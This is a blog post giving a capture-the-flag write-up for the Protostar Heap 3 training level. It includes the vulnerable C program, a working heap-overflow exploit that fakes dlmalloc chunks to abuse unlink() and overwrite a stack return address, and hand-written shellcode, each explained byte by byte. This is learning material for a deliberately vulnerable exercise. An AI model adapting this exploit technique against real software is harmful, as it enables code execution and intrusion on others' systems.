Friday, June 8, 2012

Protostar Heap 3 Solution

I spent the last week working on protostar from www.exploit-exercises.com, and have completed all the questions except Final 2.  I have roughly mapped out an approach for this last question, although I am hoping for some new ideas to strike me in the next few days, or I will need to start chopping up my shellcode into pieces...

(Btw, the source code given for Final 2 does not appear to completely match the binary.  However, the key parts do appear to operate similarly and so should still be exploitable.)

Anyway, I thought I would write about Heap 3.  I will just be presenting the solution while pointing out a couple of tricky parts.  Going through the solution in detail would take up too much time and space.

Before that, below are a couple of articles that helped me understand heap overflows.  I would say they are essential reading.  The second article is directly relevant to Heap 3.
  1. w00w00 on Heap Overflows by Matt Conover (a.k.a. Shok) & w00w00 Security Team
  2. Vudo malloc tricks by Michel "MaXX" Kaempf
If you are relatively new to heap overflows, I would suggest working on Gera's Advanced Buffer Overflow Challenge 9 first.  It's a simpler version of Heap 3.  However, the catch is that you need an old Linux OS to exploit the "vulnerable" program for challenge 9.  I used Slackware 8.0.

Now, let's get to Heap 3.  The source code for this level is shown below:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
 printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
 char *a, *b, *c;

 a = malloc(32);
 b = malloc(32);
 c = malloc(32);

 strcpy(a, argv[1]);
 strcpy(b, argv[2]);
 strcpy(c, argv[3]);

 free(c);
 free(b);
 free(a);

 printf("dynamite failed?\n");
}
The objective is to redirect execution to the winner() function.  The solution and output are as follows:
user@protostar:/opt/protostar/bin$ /opt/protostar/bin/heap3 $(python -c 'print "\x41" * 32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "\xbe\xba\xfe\xca" + "\x50\xf7\xff\xbf" + "\x60\xc0\x04\x08"') $(python -c 'print "\x90" * 8 + "\xeb\x0f" + "thisisjustjunk" + "\x90" * 2 + "\x68\x76\xdc\xea\xb7\x68\x64\x88\x04\x08\xc3"')
dynamite failed?
that wasn't too bad now, was it? @ 1339155574
Here's a brief explanation of the various values.  I will be using several terms from the above-mentioned article by Maxx.
  • The 2nd \xfc\xff\xff\xff - this is the size field of the second chunk.  Its least significant bit has to be a zero, which is provided by the 'c'.  It tricks dlmalloc into thinking that the previous chunk is free, and activates the unlink() function.  This also doubles up as the prev_size field of the fake chunk, which is also the start of the fake chunk.
  • The 1st \xfc\xff\xff\xff - this is the prev_size field of the second chunk.  This will be used by dlmalloc to calculate the location of the start of the fake chunk.
  • \xbe\xba\xfe\xca - this is the babe in the cafe.  well seriously, it can be 4 bytes of anything that doesn't break the exploit.  It is the size field of the fake chunk, which isn't important here.
  • \x50\xf7\xff\xbf - this is the address of the location you want to overwrite at, minus 12.  This is one of the trickier parts I mentioned.  Usually I would try to use the address of a relevant function pointer found in the GOT.  In this case, I didn't manage to overwrite puts() successfully.  So I used a location on the stack which contained the ret address.  This location, found via gdb, is 0xbffff75c.  Then, 0xbffff75c - 12 is 0xbffff750.  Why is there a need to minus 12?  Good question.  And there's a great answer for it in Maxx's article.  Subsequently, the value at this stack location will be popped into EIP, allowing us to redirect execution.
  • \x60\xc0\x04\x08 - this is the value you want to overwrite with at the location above.  Put simply, it is the location of your shellcode.  Here, I used the address of buffer c + 8.  Note that the + 8 may not be necessary.  I put it in to address what appears to be an alignment issue, which could be due to me screwing up somewhere in the exploit.
Here, I would like to point out the second "tricky" issue I came across.  In all of the admittedly few heap overflow exploit exercises I have done, I did the overwrites and setting up of the fake chunk via a single buffer.  For Heap 3, however, due to the order of the strcpy() functions, the setting up of the fake chunk requires the use of both buffers a and b.  Anyway, whatever works, works.  The important thing is to get the correct bytes into the correct places on the heap.

Finally, we reach argv[3], which will be copied into buffer c.  It contains our shellcode.  The nops are really just acting as a buffer, to address any minor miscalculations I made.  The \xeb\x0f is necessary to jump over the parts of the buffer that will be clobbered by the unlink() function.  Again, please refer to Maxx's article for details.  Usually, a \xeb\x0a would suffice.  However, it seems (I did not investigate further) that \x0a is a bad character that screws up the exploit, hence I used \x0f instead.

The key part of the shellcode is simply:
  • \x68\x76\xdc\xea\xb7 - push 0xb7eadc76.  This was the original value from the stack location we performed the overwrite at.  After executing winner(), we want it to return here and exit properly.
  • \x68\x64\x88\x04\x08 - push 0x08048864, this is the location of winner().  winner()'s address can be found using objdump.
  • \xc3 - retn
Well, that's it for Heap 3.  I will get quite busy soon, but I will see if I can find time to finish up Final 2 and the Fusion challenges.

No comments:

Post a Comment